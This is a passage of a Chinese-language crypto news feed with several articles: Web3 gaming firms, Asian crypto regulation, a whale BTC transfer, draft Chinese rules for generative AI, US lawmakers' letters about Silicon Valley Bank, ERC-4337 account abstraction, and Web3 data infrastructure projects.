大型传统游戏开发商和发行商，其游戏商店目前已上架了5款加密游戏，并计划在2024 年初之前，上架近 20 款加密游戏。 Horizon Blockchain Games 专注于Web3 游戏开发的初创公司，旗下有web3 游戏开发平台Sequence、旗舰游戏Skyweaver以及去中心化市场Niftyswap。 Immutable 以太坊NFT二层扩容方案ImmutableX的母公司，是多个Web3游戏项目选择迁移到或启动的首选之一，将与Polygon Labs合作创建Immutable zkEVM。 Laguna Games 专注于加密游戏领域的工作室，旗下首款NFT游戏Crypto Unicorns于2022年推出。 Legacy Labs 专注于加密游戏领域的工作室，正在构建一系列NFT为主题的竞争性免费游戏。 Luxon 韩国发行商 Line Games 的子公司，是一个区块链游戏平台，旨在将传统游戏带入 Web3 生态系统。 MatchboxDAO 链上游戏开发者社区，正在推进基础设施、可组合的游戏和 DApp的开发工作，以扩大 StarkNet 生态系统的游戏领域。 MetalCore 第一款Web3大型多人在线 (MMO) 格斗游戏，由 Studio 369 开发，将传统游戏的参与度与真正的资产所有权及NFT 机制结合。 NFT Bank NFT 仪表板和投资组合管理平台，可跟踪投资组合绩效、估算 NFT 估值、实现收藏之间的社交互动、提供市场分析和自动报税。 OFF NFA 技术开发商，该技术允许将任何头像铸造为 NFT，并用于各种形式的媒体，包括录制的短视频、实时视频通话等。 Ola GG 西班牙裔区块链游戏社区，为用户提供Web3 产品和教育。 Playmint 区块链技术和web3 原语开发商，推出了第一款链上合作PcE游戏 The Crypt。 Sipher 一款休闲格斗和探索游戏，其最终目标是创造一个开放的世界社交体验，所有这些都建立在以太坊区块链上。 RSTLSS 总部位于伦敦的数字时尚品牌，让传统品牌能够通过应用NFT在控制其 IP 的同时，以可扩展的方式无缝访问元宇宙。 Skrice Web3游戏工作室，其开发的Mavia 是一款基于区块链的多人策略游戏，玩家可通过建立基地和军队，与其他玩家争夺资源和游戏货币。 Spruce 为用户共享真实数据提供安全便捷的开发工具，其跨平台工具包用于处理跨区块链的身份和数据标准。 Yield Guild Games 以DAO（去中心化自治组织）形式构建的链游公会，将玩家聚集在一起，从链游中获取NFT等数字资产来获得收益。 CCP Games 成立于1997年的游戏开发商，计划以其旗舰游戏Eve Online为背景制作新的 3A 区块链游戏。 Jungle 巴西Web3游戏工作室Jungle，其第一款游戏是一款 web3 射击游戏，将于今年在移动设备上发布。  ( 3 min )
    香港Web3嘉年华在即，亚洲加密市场发展现状与思考
    作者：Web3traveler 备受瞩目的2023 香港 Web3 嘉年华（Hong Kong Web3 Festival 2023）将在本周拉开帷幕。本次活动由万向区块链实验室、Hashkey协办，即将聚集上百个Web3领先项目，香港特别行政区政府财政司司长、Binance创始人，OKX总裁等嘉宾都将重磅出席。与此同时，IOST、Bybit等项目也恰逢其时地宣布将在香港成立办公室，体现了拥抱政策，积极建设的一面，使得以香港为首的中国区市场呈现出欣欣向荣的态势。 香港市场地近期繁荣并不是亚洲市场的唯一动态，CoinMarketCap近期文章提到几个关键地区的趋势：日本拥抱CBDC，香港争夺加密货币资本地位，新加坡建立创新沙盒，印度在法规方面较复杂多变。本篇文章我们将对各地区的政策一一分析，并推荐一些对于项目方拓展用户行之有效的参考方法。 日本的加密市场受到监管，但这并不能阻止其活跃。根据 Coinhills 的一项调查，2023年2月，按照货币计算，日元在比特币交易量方面排名第二，仅次于强大的美元。 https://www.coinhills.com/market/currency/ 日本正在积极探索CBDC的潜力。日本央行（BOJ）自2021年4月以来一直在CBDC上进行实验。日本央行旨在测试CBDC在各种用例中的可行性和功能，例如支付、结算、汇款和数字身份。 在加密税收方面，日本尚不太友好。用户甚至需要为加密货币利润支付高达55%的税。这是股票税率20%的两倍多。然而，日本也是少数几个对加密货币征税方式有明确而全面的指导方针的国家之一。近期，日本执政党自民党的Web3项目团队发布了一份白皮书，其中包含扩大该国产业的建议，该白皮书已被首相岸田文雄政府纳入国家战略。 中国曾是BTC挖矿的中心，随后禁令让其将业务转移到海外或亏本出售设备。然而，中国加密矿业呈现反弹趋势，根据CCAF的数据，中国的比特币哈希率在2022年1月达到全球份额的21%。 中国对数字货币一直持拥抱态度，数字人民币旨在成为由中国人民银行（PBOC）完全支持并与人民币挂钩的法定货币，已与微信支付等平台进行合作。 不止互联网企业，中国很多传统企业在发展中也在进行Web3相关的探索。受到政府扶持的CONFLUX积极布局，与传统产业龙头徐工集团联手进军国际Web3。不同于 PFP 以及传统品牌进入WEB3的模式，徐工集团表示将以“硬核机械”的重机文化为内核，鼓励扶持创作者社区及青年艺术家，构建创作性 IP 文化空间。他们也通过Web3任务平台TaskOn发起了特有的限量NFT白名单活动。 https://twitter.com/Conflux_Network/status/1641426123299979265 这无疑是沉寂的中国市场打破传统与虚拟世界边界的一项突破性进展。相信可能会有逐步有更多老牌企业加入Web3行列。 香港目前拥有支持性的监管环境和充满活力的加密货币开发商和交易所社区。而在两家主要的加密友好银行Silvergate Bank和Signature Bank关闭后，开设本地银行账户或维持现有银行账户存在困难。 2023年2月，香港市政府提议允许散户投资者交易加密货币和加密交易所交易基金 （ETF）。预计在2023 年6 月，香港将正式为所有公民购买加密货币合法化。 Hashkey Capital的首席执行官曾表示香港潜在的加密合法化可以作为中国的指南针。“未来，如果它被证明是成功的，它可能会成为其他地区（中国）政策制定的典范，Web3和加密业务最终可能会采用更合规的日常运营方法。” 此次Web3香港区块链嘉年华也很可能释放出更多信息。 新加坡因其低税率、支持性政府政策、强大的金融中心声誉以及靠近其他亚洲市场而对加密货币具有吸引力。新加坡一些著名的加密参与者包括Coinbase，Crypto.com 和Kraken。 在相对开放的局面下，新加坡当局也对加密服务提供商实施了严格的规定。例如，根据《支付服务法》（PSA），任何提供 DPT 服务的实体都必须获得新加坡货币当局的许可，否则将面临被罚款或监禁的风险。 新加坡的加密行业也在应对来自其他地区日益激烈的竞争，例如，香港最近的支持加密政策转向吸引了一些加密企业离开新加坡。其他国家，如阿联酋，也通过提供优惠的税收优惠和法律框架，将自己定位为加密企业的有吸引力的目的地。 印度被称为“犹豫不决的巨人”，该地区拥有大量行业人才和活跃的社区。而在政策方面，印度储备银行（RBI）2018年的禁令有效地切断了许多加密企业和用户的银行渠道。甚至出台了严格的反洗钱法，并先发制人地禁止当地女子板球联赛的加密广告和赞助。 2022年8月，火币全球站的子公司火币研究在其年度报告中透露，13.7%的美国人使用加密货币，而越南为20.3%，在接受调查的15个国家中处于领先地位。 7）泰国加密交易合法，4种货币可作为交易资产 2021 月 9 日，泰国银行 （BOT） 宣布将监管外币支持、资产支持和算法稳定币。另一方面，BOT还在开发零售中央银行数字货币（CBDC），以满足公众的需求，提高商业部门的服务效率，并增加金融服务的可及性。 加密货币在韩国是合法的。但是，当局尚未合法宣布将其作为官方支付手段。法律支持人们拥有和交易加密货币。当局对所有交易征收20%的加密货币税。但是，该法规的执行已延长至2025年。 亚洲市场一直以其近40亿的人口基数吸引着全球的关注。根据前文所述的当前发展情况，整体呈现出向好的趋势，加之此前亚洲市场的潜力尚未全部发挥，近期的政策扶持，更有助于项目方在此拓展出更多可能。 项目方可通过几个方向来迎接这一潮流。 在当地设立办公室的本地化方式无疑是拓展当地市场的绝佳方式。当地的员工更了解文化背景与整个市场行情，在对外进行拓展合作中占据突出优势。 与此同时，这一行为也将给到投资者和用户更多信心与信任感。 SEO、广告投放等形式从Web2延续到Web3依然行之有效，这也是最为简单直接，高效转化的方法之一。 以美通社为代表的Web2媒体投放机构提供面向细分地区的广告投放服务，这使得项目方可以更有针对性地进行推广。在Web3市场环境种进行地区圈选也显得尤为重要，一方面是文化背景的原因，定制化的空投等市场活动更符合当地情况，有助于强势吸引用户。另一方面，受到不同国家纷繁复杂的监管政策的影响，项目方在提供token、NFT、whitelist等奖励时也应该充分考虑政策因素，做出对于用户方便有利的设置。 例如一些Web3任务平台推出了面向特定地区的用户的需求，可以让项目方上线更有针对性的活动。系统将对用户的地区资质进行验证。 3. 积极参与当地活动 参与活动不仅可以接触到当地乃至全球的项目方，更重要的是可以与本地的媒体进行深度联络，从而为知名度的提高，加深用户印象奠定基础。不止于区块链周等以演讲、曝光为主的活动，当地的很多黑客松同样是不错的选择，甚至可以吸纳当地出色的开发者。 本地社区一直以来是促成项目全球化的重要方式，拥有当地的核心成员有利于实现长期稳定的发展，为项目搭建出全球版图，也有利于当地用户的持续增长。 亚洲乃至全球市场的加密货币发展已成为不可阻挡的潮流。我们要做的是在瞬息万变的市场环境中找到方法，持续出击，找到利于项目长期发展的有效方法，融入整个加密全球化的潮流中。  ( 2 min )
    数据：某巨鲸再向币安转入2000枚BTC，约合6000万美元
    PANews 4月11日消息，据Lookonchain监测，某巨鲸刚刚向币安转入2000枚BTC（价值6000万美元）。 此前3月15日，该巨鲸曾向币安转入2500枚BTC，当时价值6200万美元。  ( 1 min )
    网信办就生成式人工智能服务管理办法公开征求意见
    PANews 4月11日消息，国家互联网信息办公室就《生成式人工智能服务管理办法（征求意见稿）》公开征求意见，意见反馈截止时间为2023年5月10日。 其中提到，提供生成式人工智能服务应当按照《中华人民共和国网络安全法》规定，要求用户提供真实身份信息。提供者应当明确并公开其服务的适用人群、场合、用途，采取适当措施防范用户过分依赖或沉迷生成内容。提供者在提供服务过程中，对用户的输入信息和使用记录承担保护义务。不得非法留存能够推断出用户身份的输入信息，不得根据用户输入信息和使用情况进行画像，不得向他人提供用户输入信息。法律法规另有规定的，从其规定。提供者不得根据用户的种族、国别、性别等进行带有歧视性的内容生成。  ( 1 min )
    美国议员致函Circle和BlockFi等14家公司，要求它们阐明与硅谷银行的关系
    PANews 4月11日消息，据彭博社报道，美国马萨诸塞州参议员Elizabeth Warren和纽约州众议院议员Alexandria Ocasio-Cortez周日致信硅谷银行的14位最大储户，对这家倒闭的银行与一些风险投资家和科技公司创始人的关系感到担忧。 收到此信件的公司包括USDC的主要发行方Circle Internet Financial、加密借贷平台BlockFi Inc.、元宇宙平台Roblox以及其他行业的公司。这两名民主党人要求它们解释与该行的关系期限以及他们在该银行的存款额，并还向他们询问硅谷银行董事会成员、高管或投资者是否从该行获得了特殊利益，比如信贷额度。议员们要求这些公司在4月24日之前提供这些问题的答案。 其中，Roblox公司新闻发言人证实公司已经收到邮件，表示会及时回复，另外13家公司没有立即发表评论。  ( 1 min )
    从账户抽象(AA) 到 ERC4337，新一代Web3合约金库
    YieldDAO Labs / 2023–04-10 账户抽象代表了以太坊生态系统的重大进步，增强了其安全性和价值。它引入了一种新的范例，使区块链账户变得可编程，这对去中心化应用程序 (dApp) 开发具有深远的影响。在本文中，我们将深入研究帐户抽象的复杂性，以及以太坊 ERC-4337 目前是怎样模拟账户抽象的，并将探索如何通过AA帮助构建新一代WEB3 DApp的未来前景。 账户抽象的历史 以太坊网络有两种类型的账户：合约账户（CA）和外部拥有账户（EOA）。 账户抽象主要关注 EOA，它具有 3 个关键属性： 以太坊上的每个账户都链接到一个称为签名者 ( Singer )的加密对象，它作为授权来保护账户的 ETH 免遭未经授权的使用。 签名者，也称为密钥对，由私钥和公钥组成。私钥对数字消息进行签名，而公钥验证签名是否与私钥相对应。 然而，目前系统架构让 以太坊用户面临因小错误而丢失账户和资金的风险。这个风险源于私钥，如果私钥丢失，将导致用户帐户及资产丢失。 账户抽象是一种革命性的方法，通过将账户授权与传统的私钥所有权分离来增强账户授权。通过这种模式，每个账户都可以转化为智能合约，使用户能够部署和使用具有自定义授权逻辑的账户，以满足他们的独特需求。 Account Abstraction 通过抽象授权逻辑，将合约账户和外部拥有账户整合到一个统一的系统中，使用户账户更具可编程性。它消除了将签署交易逻辑硬编码到帐户中的限制，允许其被抽象出来。这是它被称为帐户抽象的主要原因。 ●是否可以恢复丢失的私钥？ 答案是“不”，不可能恢复丢失的私钥。但是，可以使用特定逻辑对智能合约进行编程以处理丢失的密钥。例如，如果原始密钥在一段时间内未与合约交互，可以设计为允许另一个授权密钥接管。 ●有人可以拥有带帐户抽象的无钥匙钱包吗？ 使用帐户抽象，可以在不需要私钥的情况下对用户进行身份验证。智能合约可以设计为实现用户安全的替代身份验证方法，从而消除对私钥的需求。 EIP-4337 代表了以太坊智能合约钱包的重大进步。它通过启用对所需的一些链上和链下基础设施的多重调用，简化了编写和操作智能合约钱包的过程。 用户可以利用UserOperations在更高级别的内存池上操作，而不是进行交易。这一进步使开发人员能够以最少的编码工作编写自定义智能合约钱包，而不必担心补贴交易费用。 直到最近，钱包还主要通过外部账户 (EOA) 进行交易，目前的发展趋势是以AA(账户抽象)的方式通过智能合约钱包进行交易，期望显著提升Web3 的用户体验。EIP-4337 旨在模拟AA帐户抽象，并且无需对以太坊协议进行任何更改，本质是一种标准化的智能合约钱包。然而，它并没有消除EOA外部拥有的账户，建立在 EIP-4337 之上的钱包在以太坊网络上仍然被视为二等公民。 完整的 ERC-4337 规范可以在这里找到EIP-4337，下表中总结了ERC4337可能带来的未来前后端改进。 账户抽象有什么好处？ 账户抽象为以太坊生态系统提供了多项好处，其中一些如下： 2023 年 3 月以太坊ERC-4337 发布，为通过帐户抽象打造类似传统 互联网Web2用户体验（登录、再参与、帐户恢复…）铺平了道路。什么时候才能真正改善WEB3用户体验，实现更高的再参与率和更低的流失率呢？ 钱包和 DApp 需要至少三个月的时间来开发，三个月的时间来推广，一个月的时间来创建可衡量的用户数据以迭代改进。按此估计，到 2023 年第四季度，我们应该可以见证 Web3 用户指标的重大变化；当然，这种变化也可能在其他领域提前出现，比如Lens 等Web3 社交应用领域。 另一方面，ERC-4337 是 Web3 UX 的一项出色进步，也将是 Web3 消息传递的沃土，ERC-4337 将显著改善 Web3 应用的通用用户体验，为更多原生 Web3 对话创造环境，目前我们看到的类似协议包括XMTP、PUSH 等等… 迄今为止，钱包已被强制要求优先考虑去中心化和自我保管而不是用户体验，但需求是发明之母：“既然 ERC-4337 使之成为可能，钱包能否转向更好的用户体验？” 考虑到迄今为止的糟糕的用户体验，开发更好用户体验和更安全的钱包有机会获得新增扩的市场份额。 在便利性和安全性上，我们看到SAFE.IO作为先行者，推出了第一个AA合约保险箱SafeVault，包括一系列有趣的特性，试图解决WEB3钱包的传统典型问题，如：基于时间的账户恢复功能（解决助记词遗忘和丢失的问题），合约金库的隔离安全功能（帮助解决助记词被盗的问题），基于 NFT 的账户授权功能（解决钱包管理权限无法分享与转移的问题）…… 这只是一个集成AA账户部分抽象特性的典型案例，我们期望看到今年有更多优秀用户体验的创新钱包出现。 B. 垂直Dapp用户： Web3 还没有出现第一个十亿用户，因为还没有一个“iPhone 时刻”或“杀手级应用”来吸引和留住第一个十亿用户。Web3 拥有 1 亿用户，考虑到 2.5% 的低迷再参与率，钱包和区块链大概率无法让我们直接到达这个里程碑。可能需要一个新的消费者级应用程序来推动大众吸引力，例如: 虽然钱包有多年的领先优势，但是 Web3 Social 是最有可能在加密钱包之前赢得 1 亿高频用户的垂直领域，这可能是基于社交网络的病毒式传播行为。您和您的朋友通过钱包买卖加密货币并不具备同样的传播能力。Defi 是 Web3 中一个重要的早期采用者垂直领域，但目前为止， Defi 还不是一个大规模采用的垂直领域。 垂直 dApp 可以吸引比钱包更多的用户，如果这种情况发生，你会看到更多垂直 DApp 运营商会自己开发钱包以提高用户保留率。例如，领先的去中心化交易所 UniSwap 刚刚宣布推出自己的钱包。 Coinbase 是一个中心化交易所，也在 2022 年推出了自己的钱包，这证明了如果钱包不改善用户体验，垂直 dApp 将会试图取而代之。 总之，账户抽象是WEB3用户体验的一项重大进步，允许可编程的区块链账户和可定制的授权逻辑。多重调用、会话密钥和社交恢复等功能使以太坊更加用户友好和高效；无论是在垂直 dApp 还是在钱包之间。那些首先部署更好的用户体验的供应商将获得先发优势。 ERC-4337 也是以太坊协议 2023 年 3 月的重要更新之一，EIP-4337 进一步简化了编写和操作智能合约钱包（AA）的过程。AA帐户抽象必将是以太坊和区块链技术走向未来的一个重要赛道。  ( 3 min )
    全视角解读Web3数据经济：LSD 之后的下一个千亿级赛道
    作者：Yuxing, SevenX Ventures 本文仅供交流学习，不构成任何投资建议。 ChatGPT 和 GPT-4 的火热，让我们看到了人工智能的力量。人工智能背后，除了算法以外，更重要的是海量的数据。围绕数据，我们已经构建了一个大规模的复杂系统，该系统的价值主要来自于商业智能（Business Intelligence, BI）和人工智能（Artificial Intelligence, AI）。由于互联网时代数据量的快速增长，数据基础设施的工作和最佳实践也在飞速地发展。这两年，数据基础设施技术栈的核心系统已经非常稳定，支持工具和应用也在快速增长。 云数据仓库（如 Snowflake 等）正在迅速增长，主要关注 SQL 用户和商业智能用户场景。其他技术的采用也在加速，数据湖（如 Databricks）的客户增长速度前所未有，数据技术栈中的异质性将共存。 其他核心数据系统，如数据获取和转化，已经证明同样耐久。这在现代数据智能领域特别明显。Fivetran 和 dbt（或类似技术）的组合几乎随处可见。但在一定程度上，在业务系统中也同样如此。Databricks/Spark、Confluent/Kafka 和 Astronomer/Airflow 的组合也开始成为事实标准。   来源：a16z 其中， 随着数据生态的飞速发展，出现了“数据平台”的概念。从行业的角度看，平台的定义特征是有影响力的平台提供方和大量的第三方开发者能够在技术上和经济上相互依存。从平台的角度看，数据技术栈分为“前端”和“后端”。 “后端”大致包括数据提取、存储、处理和转换，已经开始围绕小部分云服务提供商开始整合。因此，客户数据被收集在一套标准的系统中，供应商正在大力投资，使其他开发人员可以轻松访问这些数据。这也是 Databricks 等系统的基本设计原则，并且通过 SQL 标准和自定义计算 API（例如 Snowflake）等系统得到了实现。 “前端”工程师利用这种单点集成来构建一系列新应用程序。他们依赖数据仓库/湖仓一体中清洗和整合过的数据，而不用担心它们是如何生成的底层细节。单个客户可以在一个核心数据系统之上构建和购买很多应用。 我们甚至开始看到传统企业系统，如财务或者产品分析，正在使用仓库原生的架构进行重构。 随着数据技术栈的逐渐成熟，数据平台上的数据应用也随之激增。由于标准化，采用新的数据平台变得前所未有地重要，相应地维护平台也变得极为重要。在规模上，平台可能非常有价值。现在，核心数据系统供应商之间竞争激烈，这种竞争不仅是为了当前的业务，更是为了长期的平台地位。如果你认为数据获取和转换模块是新兴数据平台的核心部分，那么对数据获取和转换公司的惊人估值也就更容易理解了。 然而，这些技术栈的形成是在以大公司为主导的数据利用方式下形成的。随着社会对于数据的理解加深，人们认为数据与土地、劳动力、资本、技术一样， 都是可市场化配置的生产要素 。数据作为五大生产要素之一，其背后体现的正是数据的资产价值。 要实现数据要素市场的配置，目前的技术栈远远不能满足需求。与区块链技术紧密结合的 Web3 领域，新的数据基础设施正在发展与演变。这些基础设施将嵌入现代数据基础设施架构，实现数据产权界定、流通交易、收益分配和要素治理。这四个领域在 政府监管的角度 来说非常关键，因此需要特别关注。 受 a16z 统一的数据基础设施架构（2.0）的启发，融合对 Web3 基础设施架构的理解，我们提出了以下 Web3 混合数据基础设施架构。 橙色是 Web3 所独有的技术栈单元。由于去中心化技术还处于早期发展阶段，目前 Web3 领域内的大部分应用采用的仍是这种混合数据基础设施架构。绝大多数应用并不是真正的“ 超级结构 ”。超级结构拥有不可停止、免费、有价值、可扩展、无许可、正外部性和可信中立等特征。它作为数字世界的公共物品而存在，是“元宇宙”世界的公共基础设施。这需要完全去中心化的底层架构来支撑它。 传统的数据基础设施架构是根据企业业务发展演变而来的。a16z 将其总结为两个系统（分析系统和业务系统）和三个场景（现代商业智能、多模型数据处理以及人工智能和机器学习）。这是从企业的视角——数据为企业的发展服务——作出的总结。 来源：a16z 然而，不仅仅是企业，社会和个人都应当受益于数据要素带来的生产力提升。世界各国都接连出台了政策法规，希望从监管的层面规范数据的使用，促进数据的流通。这包括在日本常见的各种 Data Bank、在中国最近兴起的数据交易所以及在欧美已经广泛使用的交易平台，如 BDEX（美国）、Streamr（瑞士）、DAWEX（法国）和 CARUSO 等等。 当数据开始进行产权界定、流动交易、收益分配和治理时，它们的系统和场景就不仅仅是赋能企业自身的决策和业务发展。这些系统和场景要么需要借助区块链技术，要么强烈依赖政策监管。 Web3 是数据要素市场的天然土壤，它从技术上杜绝了作弊的可能性，能够大大减轻监管压力，让数据作为真正的生产要素存在，并进行市场化配置。 在 Web3 语境下，数据利用的新范式包括承载流动数据要素的市场系统和管理公共数据要素的公共系统。它们涵盖了三个新的数据业务场景：产权数据开发整合、可组合初始数据层和公共数据挖掘。 这些场景有的与传统数据基础设施紧密结合，属于 Web3 混合数据基础设施架构；有的则脱离传统架构，完全由 Web3 原生的新技术支持。 数据经济市场是配置数据要素的关键，其包括产品数据的开发和整合和具备可组合性的初始数据层市场。在高效合规的数据经济市场中， 以下几点十分重要 ： 以上原则是监管部门考虑数据经济的基本原则。在产权数据开发整合、可组合初始数据层和公共数据挖掘三种场景下，可以以这些原则为基础进行思考。我们需要怎样的基础设施作为支撑？这些基础设施能够在哪些阶段捕获什么样的价值？   在产权数据开发过程中，需要建立分类分级确权授权机制，以确定公共数据、企业数据和个人数据的所有权、使用权和经营权。根据数据来源和生成特征，通过“数据适配”的方式对数据进行产权界定。其中，典型的项目包括 Navigate、Streamr Network 和 KYVE 等。这些项目通过技术手段实现数据质量标准化、数据采集和接口标准化，将链下数据以某种形式确权，并通过智能合约或内部逻辑系统进行数据分类分级授权。 在该场景下适用的数据类型为非公共数据，即企业数据和个人数据。应按市场化方式“共同使用、共享收益”，从而激活数据要素价值。   可组合初始数据层是数据经济市场的重要组成部分。与一般的产权数据不同的是，这部分数据最明显的特征是需要通过“数据模式管理”定义数据的标准格式。与“数据适配”的质量、采集和接口标准化不同的是，这里强调的是数据模式的标准化，包括标准的数据格式和标准的数据模型。Ceramic 和 Lens 是这一领域的先行者，他们分别保障了链下（去中心化存储）和链上数据的标准模式，从而使得数据具有可组合性。 搭建在这些数据模式管理工具之上的是可组合初始数据层，通常称为“data layer”，如 Cyberconnect、KNN3 等。 可组合初始数据层较少涉及到 Web2 的技术栈，但以 Ceramic 为主的热数据读取工具打破了这一点，这将是非常关键的突破。很多类似的数据无需存储在区块链上，也很难存储在区块链上，但它们需要存储在去中心化的网络之上，例如用户的发帖、点赞和评论等高频低价值密度数据，Ceramic 为这一类数据提供了存储范式。 可组合的初始数据是新时代创新的关键场景，也是数据霸权与数据垄断终结的重要标志。它 能够解决 初创企业在数据方面的冷启动问题，组合成熟数据集和新数据集，从而使初创企业能够更快地建立数据竞争优势。同时让初创企业专注于增量数据价值和数据新鲜度，从而为自身的创新想法赢得持续的竞争力。这样，大量的数据将不会成为大公司的护城河。 注：橙色是多类别交叉的单元 公共数据挖掘并不是一个新的应用场景，但是在 Web3 技术栈中，它得到了前所未有的突出强调。 传统的公共数据包括党政机关、企事业单位依法履职或提供公共服务过程中产生的公共数据。监管机构鼓励在保护个人隐私和确保公共安全的前提下，按照“原始数据不出域、数据可用不可见”的要求，以模型、核验等产品和服务等形式向社会提供该类数据。它们采用的是传统技术栈（蓝色和部分橙色，橙色代表多个类型技术栈交叉，下同）。 在 Web3 中，区块链上的交易数据以及活动数据则是另一类公共数据，其特征是“可用且可见”，因此缺乏数据隐私、数据安全以及数据使用的确认授权能力，是真正的“公共物品”（Public Goods）。它们采用的是以区块链和智能合约为核心的技术栈（黄色和部分橙色）。 而在去中心化存储上的数据则大多是除交易以外的 Web3 应用数据，目前主要是以文件和对象存储为主，相应的技术栈仍不成熟（绿色和部分橙色）。这类公共数据的生产和挖掘利用存储的普遍问题包括冷热存储、索引、状态同步、权限管理和计算等等。 该场景涌现了诸多数据应用，它们不属于数据基础设施，更多是数据工具，包括 Nansen、Dune、NFTScan、0xScope 等等。 案例：数据交易所 数据交易所是指以数据为商品进行交易的平台。它们可以根据交易对象、定价机制、质量保证等方面进行分类和比较。DataStreamX、Dawex、Ocean Protocol 是市场上几个典型的数据交易所。 Ocean Protocol （2亿市值）是一个开源的协议，旨在让企业和个人能够交换和变现数据和基于数据的服务。该协议基于以太坊区块链，使用“数据代币”（datatokens）来控制对数据集的访问。数据代币是一种特殊的 ERC20 代币，可代表一个数据集或一个数据服务的所有权或使用权。用户可以通过购买或赚取数据通证来获取所需的信息。 Ocean Protocol 的技术架构主要包括以下几个部分： 来源：Ocean Protocol 数据提供者创建的“数据服务”包括数据、算法、计算、存储、分析和策展。这些组件与服务的执行协议（如服务等级协议）、安全计算、访问控制和许可绑定在一起。本质上，这是通过智能合约来控制一个“云服务套件”的访问权限。 来源：Ocean Protocol 其优点是， Ocean Protocol 是混合架构的典型代表。其数据可以存储在不同的地方，包括传统的云存储服务、去中心化的存储网络，或者数据提供者自己的服务器。该协议通过数据代币（datatokens）和数据非同质化代币（data NFTs）来标识和管理数据的所有权和访问权限。此外，该协议还提供了计算到数据（compute-to-data）的功能，使得数据消费者可以在不暴露原始数据的情况下对数据进行分析和处理。 来源：Ocean Protocol 固然 Ocean Protocol 是市面上现阶段最为完善的数据交易平台之一，但它仍然面临着诸多挑战： 案例：数据模型市场 Ceramic 在其数据宇宙中提到了他们要打造的开放数据模型市场，因为数据需要互操作性，它能够极大地促进生产力的提升。这样的数据模式市场是通过对数据模型的紧急共识实现的，就类似于以太坊中的 ERC 合约标准，开发人员可以从中选择作为功能模板，从而拥有一个符合该数据模型的所有数据的应用程序。目前这个阶段，这样的市场并不是一个交易市场。 关于数据模型，一个简单的例子是，在去中心化社交网络当中，数据模型可以简化为 4 个参数，分别是： 那么数据模型如何在 Ceramic 上进行创建、共享和重用，从而实现跨应用程序数据互操作性呢？ Ceramic 提供了一个数据模型注册表（DataModels Registry），这是一个开源的、社区共建的、用于 Ceramic 的可重用应用程序数据模型的存储库。在这里，开发人员可以在其中公开注册、发现和重用现有数据模型——这是构建在共享数据模型上的客户操作应用程序的基础。目前，它基于 Github 存储，未来它将分散在 Ceramic 上。 添加到注册表的所有数据模型都会自动发布到 @datamodels 的 npm 插件包下面。任何开发人员都可以使用 @datamodels/model-name 安装一个或多个数据模型，使这些模型可用于在运行时使用任何 IDX 客户端存储或检索数据，包括 DID DataStore 或 Self.ID。 此外，Ceramic 还基于 Github 搭建了一个DataModels 论坛 ，数据模型注册表中的每个模型在该论坛上都有自己的讨论线程，社区可以通过它来评论和讨论。同时，这里还可以供开发人员发布关于数据模型的想法，从而在将其添加到注册表之前征求社区的意见。目前一切都在早期阶段，注册表中的数据模型并不多，收纳进入注册表中的数据模型应当通过社区的评定称为 CIP 标准，就像以太坊的智能合约标准一样，这为数据提供了可组合性。 案例：去中心化数据仓库 Space and Time 是第一个连接链上和链下数据以支持新一代智能合约用例的去中心化数据仓库。Space and Time (SxT) 拥有业内最成熟的区块链索引服务，SxT 数据仓库还采用了一种名为 Proof of SQL™ 的新型密码学来生成可验证的防篡改结果，允许开发人员以简单的 SQL 格式加入无需信任的链上和链下数据，并将结果直接加载到智能合约中，以完全防篡改和区块链锚定的方式为亚秒级查询和企业级分析提供支持。 Space and Time 是两层网络，由验证器层和数据仓库组成。SxT 平台的成功取决于验证器和数据仓库的无缝交互，以促进对链上和链下数据的简单和安全查询。 Space and Time 作为一个平台是世界上第一个分散的数据结构，它开启了一个强大但服务不足的市场：数据共享。在 Space and Time 平台内，公司可以自由共享数据，并且可以使用智能合约对共享的数据进行交易。此外，数据集可以通过SQL 证明以聚合方式货币化，而无需让消费者访问原始数据。数据消费者可以相信聚合是准确的，而无需看到数据本身，因此数据提供者不再必须是数据消费者。正是出于这个原因，SQL 证明和数据结构架构的结合有可能使数据操作民主化，因为任何人都可以在摄取、转换和服务数据集方面做出贡献。 目前，Web3 数据基础设施架构中缺乏一个实用且高效的数据治理架构。然而，一个实用且高效的数据治理基础设施对于配置各参与方相关权益的数据要素至关重要。 目前 Web3 数据治理能力单一，往往只能通过控制私钥来控制资产和数据（包括 Ceramic），分级分类配置能力几乎没有。最近，Tableland、FEVM 以及 Greenfield 的创新机制，在一定程度上可以实现数据的去信任化治理。传统的数据治理工具如 Collibra 一般只能用于企业内部，只具备平台级的信任，同时非去中心化的技术也使得其无法防止个人作恶及单点故障。通过 Tableland 等数据治理工具，可以保障数据流通过程所需的安全保障技术、标准和方案。 案例：Tableland Tableland Network 是一种用于结构化关系数据的分散式 web3 协议，从以太坊 (EVM) 和与 EVM 兼容的 L2 开始。借助 Tableland，现在可以通过利用区块链层进行访问控制来实现传统的 web2 关系数据库功能。但是，Tableland 并不是一个新的数据库——它只是 web3 原生的关系表。 Tableland 提供了一种新方法，使 dapp 能够将关系数据存储在 web3-native 网络中，而无需进行这些权衡。 解决方案 使用 Tableland，元数据可以变更（如果需要，使用访问控制）、查询（使用熟悉的 SQL）和可组合（与 Tableland 上的其他表）——所有这些都以完全去中心化的方式进行。 Tableland 将传统的关系数据库分解为两个主要组件：具有访问控制逻辑 (ACL) 的链上注册表和链下（去中心化）表。 Tableland 中的每个表最初都是作为 ERC721 令牌在基本 EVM 兼容层上铸造的。因此，链上的表所有者可以为表设置 ACL 权限，而链下 Tableland 网络管理表本身的创建和后续变更。链上和链下之间的链接都是在合约级别处理的，它只是指向 Tableland 网络（使用 baseURI + tokenURI，很像许多使用 IPFS 网关或托管服务器作为元数据的现有 ERC721 代币）。 只有具有适当链上权限的人才能写入特定表。但是，表读取不一定是链上操作，可以使用 Tableland 网关；因此，读取查询是免费的，可以来自简单的前端请求，甚至可以来自其他非 EVM 区块链。现在，为了使用 Tableland，必须首先创建一个表（即，作为 ERC721 在链上铸造）。部署地址最初设置为表所有者，并且此所有者可以为任何其他尝试与表交互进行变更的用户设置权限。例如，所有者可以设置规则，谁可以更新/插入/删除值，他们可以更改哪些数据，甚至决定他们是否愿意转让所有权表的另一方。此外，更复杂的查询可以连接来自多个表（拥有或非拥有）的数据，以创建一个完全动态且可组合的关系数据层。 考虑下图，它概括了新用户与已由某些 dapp 部署到 Tableland 的表的交互： 以下是整体信息流： 1. 新用户与 dapp 的 UI 交互并尝试更新存储在 Tableland 表中的一些信息。 2. dapp 调用 Tableland 注册智能合约来运行这个 SQL 语句，并且这个合约检查 dapp 的智能合约，其中包含定义这个新用户的权限的自定义 ACL。有几点需要注意： 